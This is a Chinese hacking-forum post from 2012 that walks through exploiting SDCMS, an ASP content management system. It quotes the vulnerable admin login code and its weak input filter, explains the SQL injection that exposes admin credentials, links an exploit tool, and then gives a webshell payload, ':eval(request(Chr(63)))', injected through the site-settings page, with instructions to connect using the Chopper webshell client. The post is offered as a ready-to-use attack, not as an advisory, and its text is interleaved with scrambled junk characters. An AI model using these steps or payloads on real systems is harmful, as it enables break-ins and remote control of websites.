找回密码
 立即注册
查看: 3678|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
" Z: Y* s7 u( g1 n9 K3 U漏洞文件:后台目录/index.asp
4 |! H" m+ \. i$ x7 i8 N; e8 |) r# H( P  W& W
Sub Check7 n3 j% W7 l9 |2 m6 |, w
    Dim username,password,code,getcode,Rs
1 y9 p/ w! Z: p0 J% b" _    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub! i' s+ `. o3 H: S
    username=FilterText(Trim(Request.Form("username")),1)
/ \4 _6 F) N& V" d/ S: y- e    password=FilterText(Trim(Request.Form("password")),1)
0 A! V, k" v, z2 c5 [; @    code=Trim(Request.Form("yzm")). n* [# p7 L$ R+ n$ ~1 Q
    getcode=Session("SDCMSCode"). p: T# T; L  [+ M& u7 O
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died; r; f7 @3 A5 W# j) G8 ]; l# F0 S4 E6 f
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
) r/ h- [* F/ v    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
# ]. @- ]% g$ d, W' _5 y% v; X    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied8 ~4 q/ k& i0 E! F! e
    IF username="" or password="" Then2 V( d: o% G2 ]
        Echo "用户名或密码不能为空"ied* t' @9 t; G- o* O7 h! l
    Else
  Q5 M! X. w3 C+ U7 A" Q8 ^8 B% f        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")0 g0 V* c2 n3 w) V9 J
        IF Rs.Eof Then! I7 y: R' j6 i1 p; u* U1 }; R
            AddLog username,GetIp,"登录失败",1
+ |1 p4 v  d% O. u8 f            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会") r4 S1 S0 G. x; h7 Z. ]
        Else
( P) J6 n+ X% ]! o/ k& H1 Z            Add_Cookies "sdcms_id",Rs(0)" w. Q0 Q. r9 s4 ]4 p* X
            Add_Cookies "sdcms_name",username
! `+ s/ z' y. l            Add_Cookies "sdcms_pwd",Rs(2)
4 p: U# e8 q, i6 U* N            Add_Cookies "sdcms_admin",Rs(3)
% W9 m5 e. j/ m+ n( x# y5 ~9 e            Add_Cookies "sdcms_alllever",Rs(4)% ?6 v4 i' r$ W! y
            Add_Cookies "sdcms_infolever",Rs(5)' r+ D$ C4 x* V5 D/ B
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")* u) n4 S8 e1 S! f
            AddLog username,GetIp,"登录成功",13 ~1 P" l6 ^  Q( y  x; j
            '自动删除30天前的Log记录
& E" g& ?/ b! {9 B% f* b. F            IF Sdcms_DataType Then' p( n+ x! I5 R# R
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
" x6 b! {7 T6 H; I* L            Else
+ S0 C, ~5 p2 e7 q; Z                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
9 M  O& k/ A3 M/ |7 l+ V            End IF* y/ A1 E! G6 \, t
            Go("sdcms_index.asp")
( @( ^2 C" E& `1 I        End IF7 b$ W5 n; [" j% f! p% e5 U- @
        Rs.Close
/ ]' O4 w( v/ L- s: m; Q- x        Set Rs=Nothing6 v- K( ~) X/ @7 g% ^
    End IF+ @+ x" R. u, X' @7 l
End Sub
* h- U; K0 S& z+ [7 {' M" I! d: e# E/ N" E% M7 [& y* @7 d- s, }
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
  K& F+ E5 N7 D/ T) r; |0 s' U  a% R$ Z/ N- Z& Q/ p
Function FilterText(ByVal t0,ByVal t1)
5 `& m9 S/ {% J0 {& r/ ?6 b# T    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function: b) `# w$ @& J
    t0=Trim(t0)
# E! O+ }: K% }5 k    Select Case t1
% c5 Q2 k" K, `# U& L" v3 K        Case "1"& ~8 K+ }* z* k1 F  s8 s  |  L8 q: r
            t0=Replace(t0,Chr(32),"")
, S4 _5 L, [: z% X! G8 F' z            t0=Replace(t0,Chr(13),"")
6 X% L7 ]% J1 I            t0=Replace(t0,Chr(10)&Chr(10),"")
3 ^7 o  v1 Z1 n/ B3 |. p  N" U            t0=Replace(t0,Chr(10),"")" b2 n: U  R" F
        Case "2"4 G9 D. O2 v! U3 z% f
            t0=Replace(t0,Chr(8),"")'回格( o* G" i! N3 ~7 {. w, d
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
- i. V' O2 L6 Z9 N$ \! h            t0=Replace(t0,Chr(10),"")'换行; X9 f- x2 |2 A
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)( W1 M# @! q5 @7 D( C7 V1 r5 Q! {
            t0=Replace(t0,Chr(12),"")'换页( ?. i5 n6 E0 O) g2 Z
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合  K! Z) g+ G) u/ p1 f" b3 N5 K
            t0=Replace(t0,Chr(22),"")
- q" U( Z: ^5 O( \6 f+ n* ^            t0=Replace(t0,Chr(32),"")'空格 SPACE
6 j" {1 E, R4 M1 p6 ?            t0=Replace(t0,Chr(33),"")'!
$ d1 R$ y, ?5 y            t0=Replace(t0,Chr(34),"")'"3 h# ]" f6 i& H9 \: T
            t0=Replace(t0,Chr(35),"")'#; W: {  q# X* i0 V/ n! s0 Y1 A
            t0=Replace(t0,Chr(36),"")'$
7 O6 K/ ]; G& N& u8 n! y            t0=Replace(t0,Chr(37),"")'%
* {5 {2 w; o: ~9 @            t0=Replace(t0,Chr(38),"")'&* {3 V, ?" n9 u+ m, n3 @& L/ T$ w
            t0=Replace(t0,Chr(39),"")''
. p: l' k" [4 P* K: `4 \9 r8 `! F            t0=Replace(t0,Chr(40),"")'(
  K* C3 Q7 i6 r( R% G7 S. X$ N' r' g            t0=Replace(t0,Chr(41),"")')
# }1 c% j1 K! G6 l$ b- M4 F            t0=Replace(t0,Chr(42),"")'*
1 v  Z3 [3 {% I: e& Y( [8 ^- j            t0=Replace(t0,Chr(43),"")'+7 n# @+ e5 Y$ b. ~4 ^
            t0=Replace(t0,Chr(44),"")',& Z( y! G# J3 p6 S. H. v
            t0=Replace(t0,Chr(45),"")'-
) H2 v5 ^+ n2 f: }  _# f            t0=Replace(t0,Chr(46),"")'.! ^3 L! x: e5 \
            t0=Replace(t0,Chr(47),"")'/
* z8 J4 }3 O+ C( v2 z: M            t0=Replace(t0,Chr(58),"")':
8 o% O3 w0 x2 K/ Z1 B: a8 c            t0=Replace(t0,Chr(59),"")';
3 K# W% Z# k2 C            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
+ \% y( U/ V6 t! Q            t0=Replace(t0,Chr(63),"")'?4 ~, s8 L' W7 c; q* V- }
            t0=Replace(t0,Chr(64),"")'@8 ^6 M, z( D6 B6 N$ U
            t0=Replace(t0,Chr(91),"")'\
- k; B  D, F/ i- T' w            t0=Replace(t0,Chr(92),"")'\
! l& @$ M/ X& X) r$ `% ~            t0=Replace(t0,Chr(93),"")'], w2 d7 B8 |% J! D5 [7 q, ?4 ?
            t0=Replace(t0,Chr(94),"")'^
0 _5 S- _) q4 h9 ]: r$ |            t0=Replace(t0,Chr(95),"")'_7 f) L4 C- D' l) `) T
            t0=Replace(t0,Chr(96),"")'`, R0 v3 c' }+ L; t
            t0=Replace(t0,Chr(123),"")'{
. @1 a6 p( E7 q6 W' }0 m, E, s            t0=Replace(t0,Chr(124),"")'|
& M2 ^; U8 {! l: H            t0=Replace(t0,Chr(125),"")'}
2 k5 z. P2 N6 x) T" u5 v            t0=Replace(t0,Chr(126),"")'~! v: i) T, h" a! Y* H3 Q7 W6 s
    Case Else, U+ i- O) |& c
        t0=Replace(t0, "&", "&"); l+ S$ x8 }$ A7 G: W- c  L
        t0=Replace(t0, "'", "'")7 H! v7 u5 t) o3 X+ @
        t0=Replace(t0, """", """)0 o% @2 |+ ~% r" W8 Y0 ?: y2 |1 H
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")* V8 D( v9 c9 U0 {7 N! }+ x1 ^( s
    End Select# v, p* `* i  j: J' T* x  Q8 o5 H
    IF Instr(Lcase(t0),"expression")>0 Then
% ^( w2 W2 m. w/ h6 e        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
& f0 S% A" d8 r% m& d- I& c    End If
( h3 B& b9 n+ {5 @6 w    FilterText=t0  w7 d, {; d1 h. }9 I  D9 s- i( ]
End Function
& r3 t' {7 D4 W$ W- ]% ?1 Y2 o  e
# d$ @* F9 S. a; i1 [6 K& z# e看到没。直接参数是1 只过滤
  |2 @5 z0 G& A  t& c                        t0=Replace(t0,Chr(32)," ")+ @8 \3 t$ F! i5 l# C" C% d
                        t0=Replace(t0,Chr(13),"")) s. m: w8 f* ?1 A) o, `# \! K9 [
                        t0=Replace(t0,Chr(10)&Chr(10),"
1 x$ Q. Y3 Z2 P")
" s2 C, a3 Y! B0 Y7 @                        t0=Replace(t0,Chr(10),"
0 C: E" d% C. O3 F")9 q5 v. S/ C+ @8 i( H. A! L
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!0 B) P$ Z* t6 M; a; O: H
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP8 w8 U( w' A# G% N7 J

/ W! u4 L' D5 ~6 `+ a" q测试:
" U  |( S6 d8 e, i
) w# M. d" E, {) K, Y. X$ q7 \, C2 W3 |8 c. \3 z
现在输入工具上验证码,然后点OK
1 u* L+ _" \7 \' Z3 }* q- }6 t3 [) E' n! A; W
+ z; p3 ]( [3 Q- n# S: y; b! F
看到我们直接进入后台管理界面了,呵呵!
7 y4 |% o+ y$ T8 G
! e/ ^1 b6 n' u2 k2 e- y
/ [" c! Z6 D2 n- J0 G, Z3 b* z3 r, H) g: h2 R, X$ y
这样直接进入后台了。。。。! Y1 s# N  t& k) @

' X0 H6 N4 Y( c" s  T4 ~4 y
5 c+ r  F' r3 X4 G' L( T* `3 g+ G
1 M- p: x$ L( N# a$ ySDCMS提权:
! T: J1 k& H) B1 F$ ]! {7 n, e
' `" |& m+ n8 G8 n7 R+ Y% r方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
1 N- x( _. o$ y! a* [! [+ J# x" b- k
/ Z! Y3 o" E/ y

* y( d1 W# e( L! d& V; xOK,现在用菜刀连接下!, b1 o3 \/ H  \2 [/ H+ I0 P; V

# g4 R: [% D% l& G/ g3 }) m3 ?. I) _$ N3 S  a; E( b
( C. t# U$ t! Z3 ~5 Q
9 [+ ]! T/ S6 y: Y

" r( a5 a+ D. `! n1 ~- {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表